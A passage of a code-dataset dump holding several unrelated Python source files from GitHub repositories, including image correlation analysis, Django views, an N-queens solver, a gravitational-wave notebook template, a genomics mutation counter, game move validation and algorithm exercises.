(oob)\n oob = (x2 > res - 1) + (x2 < 0) + (y2 > res - 1) + (y2 < 0)\n\n # TODO: there has to be a better way to do this, no? This seems dangerous using a while loop...\n while any(oob):\n alpha = 2 * np.pi * np.random.random(np.sum(oob))\n\n dx = np.round(d * np.sin(alpha))\n dy = np.round(d * np.cos(alpha))\n\n x2[oob] = x1[oob] + dx\n y2[oob] = y1[oob] + dy\n\n oob = (x2 > res - 1) + (x2 < 0) + (y2 > res - 1) + (y2 < 0)\n\n return x2, y2\n\ndef generate_params(method, img_folder, corr_folder, dmin=None, dmax=None, N=None, takeLog=False):\n\n img_paths = load_image_directories(img_folder)\n\n params = [ (method, img_path, corr_folder, dmin, dmax, N, takeLog) for img_path in img_paths ]\n\n return params\n\n\ndef show_image(img_dir):\n img = Image.open(img_dir)\n plt.imshow(img)\n plt.show()\n\ndef dist_vec(shape):\n n = shape[0]\n m = shape[1]\n iu = np.triu_indices(n=n, m=m, k=0)\n\n distu = np.sqrt((iu[0] - (n-1)/2)**2 + (iu[1] - (m-1)/2)**2)\n\n return distu\n\n\ndef calc_and_save_corrs(method, img_path, corr_folder, dmin=None, dmax=None, N=None, takeLog=False):\n\n if method == 'sample':\n corr = correlation_distance(img_path, dmin, dmax, N)\n elif method == 'fft_norm':\n # TODO: logarithms behave weirdly....don't normalize properly and stuff\n if takeLog:\n img = np.array(Image.open(img_path).convert('L'))\n img = np.log10(img + 1)\n else:\n img = np.array(Image.open(img_path).convert('L')) / 255\n I = np.ones(np.shape(img))\n mass = np.round(scipy.signal.fftconvolve(I, I))\n corr = fft_autocorr_norm(img, mass, I, clean=True)\n elif method == 'fft' or method == 'fft_windowed':\n corr = fft_autocorr(img_path, method)\n # elif method == 'full':\n # corr = ...\n # TODO: full sampling\n\n else:\n raise Exception('Method must be either \\'fft\\' or \\'sample\\'.')\n\n new_base = os.path.splitext(os.path.basename(img_path))[0] + '.txt'\n savename = os.path.join(corr_folder, new_base)\n\n with open(savename, 'wb') as fp:\n pickle.dump(corr, fp)\n\n # status_txt = 'Saving correlation: ' + new_base\n # print(status_txt)\n\n\nif __name__ == '__main__':\n\n method = 'fft_norm' # (DEFAULT: 'fft_norm'), 'sample', 'fft', 'fft_windowed', 'full'\n\n if method == 'sample':\n dmin = 1 # minimum distance\n dmax = 300 # maximum distance (be careful making this too large, can get stuck in while loops!)\n N = int(1e5) # 10 000 samples per distance\n\n # img_folder = '19-05-06-20-15-32.049534'\n img_folder = 'big'\n corr_folder = os.path.join('save/img_architectures/', img_folder, 'corrs', method)\n\n if not os.path.exists(corr_folder):\n os.makedirs(corr_folder)\n\n # params = generate_params(method, img_folder, corr_folder, dmin, dmax, N)\n params = generate_params(method, img_folder, corr_folder, takeLog=False)\n\n ## MULTIPROCESSING EXPERIMENTS ##\n\n # pool = Pool(processes=11)\n # pool.starmap(calc_and_save_corrs, params)\n\n\n ## PATHOS EXPERIMENTS##\n\n # f = lambda x: calc_and_save_corrs(*x)\n # pool = mp.ProcessingPool()\n # # pool.map(f, params)\n # list(tqdm.tqdm(pool.imap(f, params), total=len(params)))\n\n\n\n ## P_TQDM EXPERIMENTS ##\n num_cpus = 11\n f = lambda x: calc_and_save_corrs(*x)\n list(p_imap(f, params, num_cpus=num_cpus))\n\n","repo_name":"heysoos/cppn-tensorflow","sub_path":"calculate_all_correlations_parallel.py","file_name":"calculate_all_correlations_parallel.py","file_ext":"py","file_size_in_byte":7185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"5"} +{"seq_id":"34391780426","text":"from django.conf.urls import patterns, include, url\n\nurlpatterns = patterns('',\n url(r'^enter/', 'sample.views.enter'),\n url(r'^success/', 'sample.views.success'),\n url(r'^search/', 'sample.views.search'),\n url(r'^range_search/', 'sample.views.range_search'),\n url(r'^update/(?P\\d+)/$', 'sample.views.update'),\n url(r'^delete/(?P\\d+)/$', 'sample.views.delete'),\n)","repo_name":"hierros/sdms","sub_path":"sample/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"18219785564","text":"#!/usr/bin/python3\n''' N queens algoritm\n'''\n\nimport sys\n\n# check imputs form.\n\nglobal N\n\nif len(sys.argv) > 2 or len(sys.argv) == 1:\n print(\"Usage: nqueens N\")\n sys.exit(1)\n\ntry:\n N = int(sys.argv[1])\n if N < 4:\n print(\"N must be at least 4\")\n sys.exit(1)\nexcept ValueError:\n print(\"N must be a number\")\n sys.exit(1)\n\n\ndef queens(n, i, a, b, c):\n if i < n:\n for j in range(n):\n if j not in a and i + j not in b and i - j not in c:\n yield from queens(n, i + 1, a + [j], b + [i + j], c + [i - j])\n else:\n yield a\n\n\nfor solution in queens(N, 0, [], [], []):\n res = []\n for i in range(len(solution)):\n res.append([i, solution[i]])\n print(res)\n","repo_name":"mauricioolarte/holbertonschool-interview","sub_path":"0x0C-nqueens/0-nqueens.py","file_name":"0-nqueens.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"22034571215","text":"# ---\n# jupyter:\n# jupytext:\n# formats: ipynb,py:light\n# text_representation:\n# extension: .py\n# format_name: light\n# format_version: '1.5'\n# jupytext_version: 1.14.4\n# kernelspec:\n# display_name: nrsur\n# language: python\n# name: nrsur\n# ---\n\n# \"Open\n\n# + tags=[\"remove-input\"]\n# %load_ext autoreload\n# %autoreload 2\n# %matplotlib inline\n\nimport pandas as pd\n\npd.set_option(\"display.max_rows\", None, \"display.max_columns\", None)\n\n# +\nimport pip\n\ntry:\n __import__(\"nrsur_catalog\")\nexcept ImportError:\n pip.main(\n [\n \"install\",\n \"nrsur_catalog @ git+https://github.com/cjhaster/NRSurrogateCatalog@main#egg\",\n \"-q\",\n ]\n )\n\n# -\n\n# # {{GW EVENT NAME}}\n#\n# Below are some plots for {{GW EVENT NAME}} from the NRSurrogate Catalog.\n\n# + tags=[\"remove-output\"]\nfrom nrsur_catalog import NRsurResult\n\nnrsur_result = NRsurResult.load(\"{{GW EVENT NAME}}\", cache_dir=\".nrsur_catalog_cache\")\n# you can specify a `cache_dir`: folder where data will be downloaded\n# -\n\n# ## Summary\n\n# + tags=[\"remove-output\"]\nnrsur_result.summary()\n# -\n\n#\n# {{SUMMARY_TABLE}}\n#\n\n# Lets make some plots!\n\n# + tags=[\"hide-input\", \"remove-output\"]\n# NRSurrogate corner plots\nfig = nrsur_result.plot_corner([\"mass_1\", \"mass_2\", \"chirp_mass\", \"mass_ratio\"])\nfig.savefig(\"{{GW EVENT NAME}}_mass_corner.png\")\nfig = nrsur_result.plot_corner([\"a_1\", \"a_2\", \"tilt_1\", \"tilt_2\"])\nfig.savefig(\"{{GW EVENT NAME}}_spin_corner.png\")\nfig = nrsur_result.plot_corner([\"mass_ratio\", \"chi_eff\", \"chi_p\"])\nfig.savefig(\"{{GW EVENT NAME}}_effective_spin.png\")\nfig = nrsur_result.plot_corner([\"luminosity_distance\", \"ra\", \"dec\"])\nfig.savefig(\"{{GW EVENT NAME}}_sky_localisation.png\")\nfig = nrsur_result.plot_corner([\"final_mass\", \"final_spin\", \"final_kick\"])\nfig.savefig(\"{{GW EVENT NAME}}_remnant_corner.png\")\n# LVK-Comparison plots\nfig = nrsur_result.plot_lvk_comparison_corner(\n [\"mass_1\", \"mass_2\", \"chirp_mass\", \"mass_ratio\"]\n)\nfig.savefig(\"{{GW EVENT NAME}}_compare_mass_corner.png\")\nfig = nrsur_result.plot_lvk_comparison_corner([\"a_1\", \"a_2\", \"tilt_1\", \"tilt_2\"])\nfig.savefig(\"{{GW EVENT NAME}}_compare_spin_corner.png\")\nfig = nrsur_result.plot_lvk_comparison_corner([\"mass_ratio\", \"chi_eff\", \"chi_p\"])\nfig.savefig(\"{{GW EVENT NAME}}_compare_effective_spin.png\")\nfig = nrsur_result.plot_lvk_comparison_corner([\"luminosity_distance\", \"ra\", \"dec\"])\nfig.savefig(\"{{GW EVENT NAME}}_compare_sky_localisation.png\")\n\n# -\n\n# ## Corner Plots\n#\n# ### Mass\n#\n#\n# ::::{tab-set}\n#\n# :::{tab-item} NRSurrogate\n# :sync: key1\n#\n# ![\"{{GW EVENT NAME}}_mass_corner.png\"]({{GW EVENT NAME}}_mass_corner.png)\n# :::\n#\n# :::{tab-item} LVK-Comparison\n# :sync: key2\n#\n# ![\"{{GW EVENT NAME}}_compare_mass_corner.png\"]({{GW EVENT NAME}}_compare_mass_corner.png)\n# :::\n#\n# ::::\n#\n#\n#\n# ### Spin\n#\n#\n# ::::{tab-set}\n#\n# :::{tab-item} NRSurrogate\n# :sync: key1\n#\n# ![\"{{GW EVENT NAME}}_spin_corner.png\"]({{GW EVENT NAME}}_spin_corner.png)\n# :::\n#\n# :::{tab-item} LVK-Comparison\n# :sync: key2\n#\n# ![\"{{GW EVENT NAME}}_compare_spin_corner.png\"]({{GW EVENT NAME}}_compare_spin_corner.png)\n# :::\n#\n# ::::\n#\n#\n# ### Effective Spin\n#\n#\n# ::::{tab-set}\n#\n# :::{tab-item} NRSurrogate\n# :sync: key1\n#\n# ![\"{{GW EVENT NAME}}_effective_spin.png\"]({{GW EVENT NAME}}_effective_spin.png)\n# :::\n#\n# :::{tab-item} LVK-Comparison\n# :sync: key2\n#\n# ![\"{{GW EVENT NAME}}_compare_effective_spin.png\"]({{GW EVENT NAME}}_compare_effective_spin.png)\n# :::\n#\n# ::::\n#\n#\n#\n# ### Sky-localisation\n#\n#\n# ::::{tab-set}\n#\n# :::{tab-item} NRSurrogate\n# :sync: key1\n#\n# ![\"{{GW EVENT NAME}}_sky_localisation.png\"]({{GW EVENT NAME}}_sky_localisation.png)\n# :::\n#\n# :::{tab-item} LVK-Comparison\n# :sync: key2\n#\n# ![\"{{GW EVENT NAME}}_compare_sky_localisation.png\"]({{GW EVENT NAME}}_compare_sky_localisation.png)\n# :::\n#\n# ::::\n#\n#\n#\n# ### Remnant\n#\n# ![\"{{GW EVENT NAME}}_remnant_corner.png\"]({{GW EVENT NAME}}_remnant_corner.png)\n#\n\n# ## Waveform posterior-predictive plot\n\n# + tags=[\"hide-input\", \"remove-output\"]\nfig = nrsur_result.plot_signal(outdir=\".\")\n# -\n\n# ![waveform]({{GW EVENT NAME}}_waveform.png)\n\n# ## Analysis configs\n# Below are the configs used for the analysis of this job.\n\n# + tags=[\"output_scroll\"]\nnrsur_result.print_configs()\n# -\n\n# If you used this data, please [cite this work](../citation.md).\n","repo_name":"cjhaster/NRSurrogateCatalog","sub_path":"src/nrsur_catalog/web_builder/page_templates/gw_notebook_template.py","file_name":"gw_notebook_template.py","file_ext":"py","file_size_in_byte":4555,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"33722091380","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.http import HttpResponseRedirect\nfrom .models import *\nfrom experience.models import * \nfrom experience.views import * \n# Create your views here.\n\n\ndef index(request):\n country_fromDB = Country.objects.all()\n context = {'country': country_fromDB}\n return render(request,'index.html' ,context)\n############################################\ndef countries(request):\n country_fromDB = Country.objects.all()\n context = {'country': country_fromDB}\n return render(request,'countries_list.html' ,context)\n# #############################################\ndef singlcountry(request,country_id):\n countrylist_fromDB = Country.objects.all()\n country_fromDB = Country.objects.get(id = int(country_id))\n cities_fromDB = City.objects.filter(country_id = int(country_id))\n context = {'country':country_fromDB,'countrylist':countrylist_fromDB ,\"City\":cities_fromDB}\n return render(request, 'country.html',context)\n###############################################\n# def singlcity(request,city_id):\n# city_fromDB = City.objects.get(id = int(city_id))\n# locations_fromDB = Location.objects.filter(city_id =int(city_id) )\n# hotels_fromDB = Hotel.objects.filter(city_id =int(city_id) )\n# experience_fromDB =Experience.objects.filter(city=int(city_id))\n# user=customUser.objects.all()\n# context = { \"city\":city_fromDB, \"location\":locations_fromDB,\"allexp\": experience_fromDB, \"hotel\":hotels_fromDB,\"user\":user}\n# return render(request, 'city.html',context)\ndef singlcity(request,city_id):\n city_fromDB = City.objects.get(id = int(city_id))\n locations_fromDB = Location.objects.filter(city_id =int(city_id) )\n hotels_fromDB = Hotel.objects.filter(city_id =int(city_id) )\n # experience_fromDB =Experience.objects.select_related()\n experience_fromDB =Experience.objects.filter(city=int(city_id))\n user=customUser.objects.all()\n context = { \"city\":city_fromDB, \"location\":locations_fromDB,\"allexp\": experience_fromDB, \"hotel\":hotels_fromDB,\"user\":user}\n return render(request, 'city.html',context)\n################################################ \ndef singllocation(request,location_id):\n location_fromDB = Location.objects.get(id = int(location_id))\n context = { \"location\":location_fromDB}\n return render(request, 'location.html',context)\n# #############################################\n# def edit(request,student_id):\n# student_fromDB = Student.objects.get(id = int(student_id))\n# if request.method == 'POST': #randring form with data of student\n# form = StudentForm(request.POST, instance = student_fromDB )\n# if form.is_valid():\n# form.save()\n# return HttpResponseRedirect('/app1')\n# else:\n# form = StudentForm( instance = student_fromDB )\n# context = {'st_form': form }\n# return render(request , 'form.html' , context)","repo_name":"MostafaMahmoudOS/Travel","sub_path":"lonely_planet/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2952,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"75075700631","text":"#!/usr/bin/env python3\n\"\"\"\nScript retrieving the coverage of mutations from a single sample\n\"\"\"\nimport pandas as pd\nimport numpy as np\nimport os\nimport click\nfrom click_option_group import optgroup\nimport sys\n\n__author__ = \"Matteo Carrara\"\n__maintainer__ = \"Ivan Topolsky\"\n__email__ = \"v-pipe@bsse.ethz.ch\"\n\n\n#####\n\n\ndef scan_basecnt(basecnt, tsvbase, mut):\n # warning that table is *tsvbase*-based\n basecount = (\n pd.read_csv(\n basecnt,\n sep=\"\\t\",\n header=[0, 1],\n index_col=[0, 1],\n )\n .droplevel(\"ref\")\n .T.droplevel(\"sample\")\n .T\n )\n # total coverage\n basecount[\"cov\"] = basecount.apply(sum, axis=1)\n # look mutations per position\n return pd.DataFrame(\n data=mut.apply(\n lambda x: pd.concat(\n [\n pd.Series(\n [\n x.gene,\n x.position,\n x.variant,\n # -1 : 1-based to 0-based\n basecount.loc[x.position - (1 - tsvbase)][\"cov\"],\n basecount.loc[x.position - (1 - tsvbase)][x.variant],\n basecount.loc[x.position - (1 - tsvbase)][x.variant]\n / basecount.loc[x.position - (1 - tsvbase)][\"cov\"]\n if basecount.loc[x.position - (1 - tsvbase)][\"cov\"]\n else np.nan,\n ],\n index=[\n \"gene\",\n \"pos\",\n \"base\",\n \"cov\",\n \"var\",\n \"frac\",\n ],\n ),\n pd.Series(x[4:]),\n ]\n ),\n axis=1,\n )\n )\n\n\n###\n\"\"\"\nHelper functions\n\"\"\"\n\n\ndef build_outname(outname, sample, batch):\n return f\"{sample}_{batch}_mutations.txt\" if outname is None else outname\n\n\n###\n@click.command(\n help=\"Search mutations and retrieve frequency from a TSV table produced by V-pipe\",\n)\n@click.option(\n \"--outname\",\n \"--output\",\n \"-o\",\n required=False,\n type=click.Path(),\n help=\"Filename of the final output table. If not provided, it defaults to _mutations.txt\",\n)\n@click.option(\n \"--muttable\",\n \"--mutationtable\",\n \"-m\",\n required=False,\n default=\"mutlist.txt\",\n type=click.Path(exists=True),\n help=\"Mutations helper table\",\n)\n@click.option(\n \"--based\",\n \"-a\",\n \"base\",\n required=False,\n default=1,\n type=int,\n help=\"Are the positions in the tsv 0-based or 1-based?\",\n)\n@click.argument(\n \"basecnt\",\n metavar=\"BASECOUNT\",\n nargs=1,\n type=click.Path(exists=True),\n)\n@optgroup.group(\n \"Argument used for simple concatenation\",\n help=\"These options allows subsequently building simply by concatenation (using `xsv`, or even `tail` & `head`)\",\n)\n@optgroup.option(\n \"--location\",\n \"-l\",\n required=False,\n type=str,\n default=None,\n help=\"Location of this sample\",\n)\n@optgroup.option(\n \"--date\",\n \"-d\",\n required=False,\n type=str,\n default=None,\n help=\"Date of this sample\",\n)\n@optgroup.group(\n \"Argument use for V-pipe integration\",\n help=\"These options help tracking output to the 2-level samples structure used by V-pipe\",\n)\n@optgroup.option(\n \"-s\",\n \"--sample\",\n \"--samplename\",\n required=False,\n type=str,\n default=None,\n help=\"'sample_name' as found in the first column of the V-pipe samples.tsv\",\n)\n@optgroup.option(\n \"-b\",\n \"--batch\",\n required=False,\n type=str,\n default=None,\n help=\"'batch'/'date' as in the second column of the V-pipe samples.tsv\",\n)\ndef from_basecount(outname, muttable, base, basecnt, location, date, sample, batch):\n outname = build_outname(outname, sample, batch)\n\n # list of mutations to search\n mut = pd.read_csv(muttable, sep=\"\\t\").astype({\"position\": \"int\"})\n\n # seach them!\n table = scan_basecnt(basecnt=basecnt, tsvbase=base, mut=mut)\n assert table.shape[0] > 0, \"Generated an empty mutation table!\"\n\n idx = []\n # add extra columns\n if sample:\n table[\"sample\"] = sample\n idx += [\"sample\"]\n if batch:\n table[\"batch\"] = batch\n idx += [\"batch\"]\n if location:\n table[\"location\"] = location\n idx += [\"location\"]\n if date:\n table[\"date\"] = date\n idx += [\"date\"]\n\n # set index\n idx += [\"pos\"]\n table.set_index(idx, inplace=True)\n\n print(outname)\n table.to_csv(outname, sep=\"\\t\", compression={\"method\": \"infer\"})\n\n\nif __name__ == \"__main__\":\n from_basecount()\n","repo_name":"cbg-ethz/LolliPop","sub_path":"lollipop/cli/getmutations_from_basecount.py","file_name":"getmutations_from_basecount.py","file_ext":"py","file_size_in_byte":4772,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"10643327752","text":"from block import Block\n\ndef play_move(board, move):\n #remove spaces\n move = move.replace(\" \", \"\")\n if move != '':\n #check if not recycling\n if move[0] == '0':\n if not validate_move(board, move[1:]):\n return [board, False]\n return [board, check_rotation(board, move[1:])]\n else: \n card1 = board[-int(move[1]), ord(move[0].upper())-65]\n card2 = board[-int(move[3]), ord(move[2].upper())-65]\n # check if empty card \n if card1.half != '' and card2.half != '':\n #TODO check if every card has been played from the players hands\n #TODO check if not last card played\n\n #check if correct halfs of same card\n if (card1.half == 'r' and card2.half == 'l') or (card1.half == 'l' and card2.half == 'r') or (card1.half == 'u' and card2.half == 'd') or (card1.half == 'd' and card2.half == 'u'): \n #empty the original card\n board[-int(move[1]), ord(move[0].upper())-65] = Block('', '', '')\n board[-int(move[3]), ord(move[2].upper())-65] = Block('', '', '')\n if not validate_move(board, move[4:]):\n #refill if invalid\n board[-int(move[1]), ord(move[0].upper())-65] = card1\n board[-int(move[3]), ord(move[2].upper())-65] = card2\n return [board, False] \n return [board, check_rotation(board, move[4:])] \n return [board, False]\n\n\n# for each rotation create correct block/card\ndef check_rotation(board, move):\n if move[0] == '1':\n b1 = Block('red', 'full', 'r')\n b2 = Block('white', 'empty', 'l')\n board[-int(move[2]), ord(move[1].upper())-65] = b1\n board[-int(move[2]), ord(move[1].upper())-65+1] = b2\n elif move[0] == '2': \n b1 = Block('red', 'full', 'd')\n b2 = Block('white', 'empty', 'u')\n board[-int(move[2])-1, ord(move[1].upper())-65] = b1\n board[-int(move[2]), ord(move[1].upper())-65] = b2\n elif move[0] == '3':\n b1 = Block('white', 'empty', 'r')\n b2 = Block('red', 'full', 'l')\n board[-int(move[2]), ord(move[1].upper())-65] = b1\n board[-int(move[2]), ord(move[1].upper())-65+1] = b2\n elif move[0] == '4':\n b1 = Block('white', 'empty', 'd')\n b2 = Block('red', 'full', 'u')\n board[-int(move[2])-1, ord(move[1].upper())-65] = b1\n board[-int(move[2]), ord(move[1].upper())-65] = b2\n elif move[0] == '5':\n b1 = Block('red', 'empty', 'r')\n b2 = Block('white', 'full','l')\n board[-int(move[2]), ord(move[1].upper())-65] = b1\n board[-int(move[2]), ord(move[1].upper())-65+1] = b2\n elif move[0] == '6':\n b1 = Block('red', 'empty','d')\n b2 = Block('white','full', 'u')\n board[-int(move[2])-1, ord(move[1].upper())-65] = b1\n board[-int(move[2]), ord(move[1].upper())-65] = b2\n elif move[0] == '7':\n b1 = Block('white', 'full', 'r')\n b2 = Block('red', 'empty', 'l')\n board[-int(move[2]), ord(move[1].upper())-65] = b1\n board[-int(move[2]), ord(move[1].upper())-65+1] = b2\n elif move[0] == '8':\n b1 = Block('white', 'full', 'd')\n b2 = Block('red', 'empty', 'u')\n board[-int(move[2])-1, ord(move[1].upper())-65] = b1\n board[-int(move[2]), ord(move[1].upper())-65] = b2\n else: return False\n return True\n\n# check if move is valid\ndef validate_move(board, move):\n # column doesn't exist\n if ord(move[1].upper()) > 71 or ord(move[1].upper()) < 65:\n return False\n\n # if first row\n if int(move[2]) is 1:\n if not check_first_row(board, move): \n return False\n else: \n if not check_space_below(board, move):\n return False\n\n if not check_space(board, move):\n return False\n \n return True\n\n# check if move on first row is valid\ndef check_first_row(board, move):\n\n # make sure it is not placed horizontally on column G\n if int(move[0]) % 2 is not 0:\n if ord(move[1].upper()) is 71:\n return False\n \n return True\n\n# check if space is occupied by another piece\ndef check_space(board, move):\n \n # orientation is vertical\n if int(move[0]) % 2 is 0:\n bottom_piece = board[-int(move[2]), ord(move[1].upper())-65]\n top_piece = board[-int(move[2])-1, ord(move[1].upper())-65]\n\n if str(bottom_piece) != \"[---]\" or str(top_piece) != \"[---]\":\n return False\n\n # orientation is horizontal\n else:\n left_piece = board[-int(move[2]), ord(move[1].upper())-65]\n right_piece = board[-int(move[2]), ord(move[1].upper())-65+1]\n\n if str(left_piece) != \"[---]\" or str(right_piece) != \"[---]\":\n return False\n\n return True\n\n# check if space below is occupied by a piece\ndef check_space_below(board, move):\n \n # orientation is vertical\n if int(move[0]) % 2 is 0:\n bottom_piece_bellow = board[-int(move[2])+1, ord(move[1].upper())-65]\n\n if str(bottom_piece_bellow) == \"[---]\":\n return False\n\n # orientation is horizontal\n else:\n left_piece_below = board[-int(move[2])+1, ord(move[1].upper())-65]\n right_piece_below = board[-int(move[2])+1, ord(move[1].upper())-65+1]\n\n if str(left_piece_below) == \"[---]\" or str(right_piece_below) == \"[---]\":\n return False\n \n return True\n","repo_name":"KrishnaPatel1/kailash_patel_dot_com","sub_path":"move.py","file_name":"move.py","file_ext":"py","file_size_in_byte":5509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"7457719643","text":"import numpy as np\n\n# Define some colors\nBLACK = ( 0, 0, 0)\nWHITE = ( 255, 255, 255)\nDARK_SQUARE = ( 119, 149, 86)\nLIGHT_SQUARE = ( 235, 236, 208)\n\n# Define dimensions of a chess game\nSQUARE_SIZE = 80\nNUM_COLS = 8\nNUM_ROWS = NUM_COLS\nBOARD_SIZE = SQUARE_SIZE * NUM_COLS\n\n# Define size of piece sprites as proportion of square size\nPIECE_SIZE = int(SQUARE_SIZE * 0.8)\nPLACEMENT_OFFSET = - SQUARE_SIZE/2 - PIECE_SIZE/2\n\n\n# SQUARE_CENTERS = ","repo_name":"hjabbot/chess","sub_path":"OLD/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"41524753893","text":"#-*-encoding:utf-8-*-\n\n# Python 3\n\ndef Min(A, B, C): #比较ABC三个数中的最小值\n I = A\n if I > B:\n I = B\n elif I > C:\n I = C\n\n return I\n\ndef LD(StrA, StrB): #使用LD算法,比较StrA与StrB这两个字符串\n L = []\n L = [[0 for x in range(len(StrB)+1)] for y in range(len(StrA)+1)]\n '''\n 【二维数组的三种实现办法】\n m=[[0 for x in range(4)] for y in range(3)]\n m=[[0]*4 for i in range(3)]\n m=3*[4*[0]] ←这种办法不好,会有浅拷贝的影响。不要用。\n '''\n for i in range(1, len(StrA)+1):\n L[i][0] = i\n for j in range(1, len(StrB)+1):\n L[0][j] = j\n\n for i in range(1, len(StrA)+1):\n for j in range(1, len(StrB)+1):\n if StrA[i-1] == StrB[j-1]:\n L[i][j] = L[i-1][j-1]\n else:\n L[i][j] = Min(L[i-1][j-1], L[i-1][j], L[i][j-1]) + 1\n\n return L\n\ndef GoBack(L, i, j): #专门用来回溯的函数\n #print (i, j)\n if i == 0 or j == 0:\n return -1 #至少其中之一已回溯完毕\n k = Min(L[i-1][j-1], L[i][j-1], L[i-1][j])\n #print (k)\n if k == L[i-1][j-1]: #左上角的单元格是最小值\n return 0\n elif k == L[i][j-1]: #上边的单元格是最小值\n return 1\n else: #左边的单元格是最小值\n return 2\n\ndef Output(Strs, n): #用来控制【缺字/多字】与【异字】的格式\n '''\n n = -1 缺字\n n = 1 多字\n n = 0 异字\n '''\n s = ''\n if n == -1:\n s = '-'\n elif n == 1:\n s = ')' + Strs + '('\n elif n == 0:\n s = ']' + Strs + '['\n else:\n print ('Error of n!')\n return s\n\ndef Compare(L, StrA, StrB): #得出比较后的结果\n sA = '' #存储最后结果:顺序是反的\n sB = ''\n i = len(StrA)\n j = len(StrB)\n while True:\n n = GoBack(L, i, j)\n if n == -1: #当至少其中一个已经回溯完了\n if i != 0: #StrA未回溯完,则StrA剩下的全是【增字】\n for m in range(i-1, -1, -1):\n sA = sA + Output(StrA[m], 1)\n sB = sB + Output('', -1)\n elif j != 0: #StrB未回溯完,则StrB剩下的全是【增字】\n for n in range(j-1, -1, -1):\n sA = sA + Output('', -1)\n sB = sB + Output(StrB[n], 1)\n break\n elif n == 0: #往左上角回溯:相同/不同\n i = i - 1\n j = j - 1\n if StrA[i] == StrB[j]: #相同\n sA = sA + StrA[i]\n sB = sB + StrB[j]\n else: #【异字】\n sA = sA + Output(StrA[i], 0)\n sB = sB + Output(StrB[j], 0)\n elif n == 1: #往上边回溯:StrB【增字】,StrA【缺字】\n j = j - 1\n sA = sA + Output('', -1)\n sB = sB + Output(StrB[j], 1)\n elif n == 2: #往左边回溯:StrB【缺字】,StrA【增字】\n i = i - 1\n sA = sA + Output(StrA[i], 1)\n sB = sB + Output('', -1)\n\n return (sA[::-1], sB[::-1])\n\n\n\n\n\nif __name__ == '__main__':\n Str1 = input('The FIRST String > ')\n Str2 = input('The SECOND String > ')\n print (LD(Str1, Str2))\n print (Compare((LD(Str1, Str2)), Str1, Str2))\n","repo_name":"nemo-nullius/Acd_Tools","sub_path":"05CompareStrings1/ComStrLD_Wrong.py","file_name":"ComStrLD_Wrong.py","file_ext":"py","file_size_in_byte":3290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"36112242462","text":"\"\"\"\nGiven an array of integers nums sorted in ascending order, find the starting and ending position of a given target value.\n\nYour algorithm's runtime complexity must be in the order of O(log n).\n\nIf the target is not found in the array, return [-1, -1].\n\nExample 1:\n\nInput: nums = [5,7,7,8,8,10], target = 8\nOutput: [3,4]\nExample 2:\n\nInput: nums = [5,7,7,8,8,10], target = 6\nOutput: [-1,-1]\n\"\"\"\n\ndef searchRange(nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: List[int]\n \"\"\"\n l,r=0,len(nums)-1\n while l<=r:\n m=(l+r)//2\n if nums[m]==target:\n index1,index2=m,m\n while index1>0 and nums[index1]==nums[index1-1]:\n index1-=1\n while index2target:\n r=m-1\n else:\n l=m+1\n return [-1,-1]\n ","repo_name":"lllinx/leetcode","sub_path":"34-Search for a Range.py","file_name":"34-Search for a Range.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"29923935116","text":"# Librairies #-------------------------------------------------------------------------------\n\nfrom math import *\nfrom tkinter import *\nfrom tkinter import messagebox\nimport numpy as np\nfrom time import *\nimport matplotlib.pyplot as plt\nimport random as rdm\n\nfrom Modules.Donnee import *\nimport Modules.Bezier as bz\nimport Modules.Cinematique as cm\nimport Modules.Genetique as gt\n\n#===========================================================================================================#\n\n\n# Fonctions utilitaires #--------------------------------------------------------------------\n\ndef zip(L1, L2):\n \"\"\" transforme de liste X, Z en une liste contenant les couples (x, -z) \"\"\"\n\n tab = []\n for i in range(len(L1)):\n tab.append((L1[i], -L2[i])) # signe moins pour representation graphique (l'axe z est orienté vers le bas)\n return tab\n\n#-------------------------------------------------------------------------------------------\ndef landing_zone(Lx, Lz):\n \"\"\" Renvoie une liste contenant les deux extremités de la zone d'atterissage \"\"\"\n\n for i in range(len(Lz)-1):\n if Lz[i] == Lz[i+1]:\n return [Lx[i], Lx[i+1]]\n print(\"Pas d'atterissage possible\")\n\n#-------------------------------------------------------------------------------------------\ndef h_zone(Lx, Lz):\n \"\"\" Renvoie la hauteur z de la zone d'atterissage \"\"\"\n\n for i in range(len(Lz)-1):\n if Lz[i] == Lz[i+1]:\n return abs(Lz[i])\n\n#-------------------------------------------------------------------------------------------\ndef distance(ind1, ind2):\n\n X1, Z1 = cm.Trajectoire(m0, ind1, dt, fuel, Lx, Lz)[0], cm.Trajectoire(m0, ind1, dt, fuel, Lx, Lz)[1]\n X2, Z2 = cm.Trajectoire(m0, ind2, dt, fuel, Lx, Lz)[0], cm.Trajectoire(m0, ind2, dt, fuel, Lx, Lz)[1]\n distance_collision = ((X1[-1]-X2[-1])**2+(Z1[-1]-Z2[-1])**2)**(1/2)\n return distance_collision\n\ndef repart_distance(n):\n tab = [0] * 700\n for k in range(n):\n ind1 = gt.creer_individu(0,0)\n ind2 = gt.creer_individu(0,0)\n tab[round(distance(ind1, ind2))] += 1\n X = [k for k in range(700)]\n tab = [k/n for k in tab]\n plt.bar(X, tab, align=\"center\")\n plt.show()\n\n#-------------------------------------------------------------------------------------------\ndef distance_au_sol(X, Z, Lx, Lz):\n \"\"\" Calcule la longueur des segments du sol cumulés de X à la zone d'atterissage 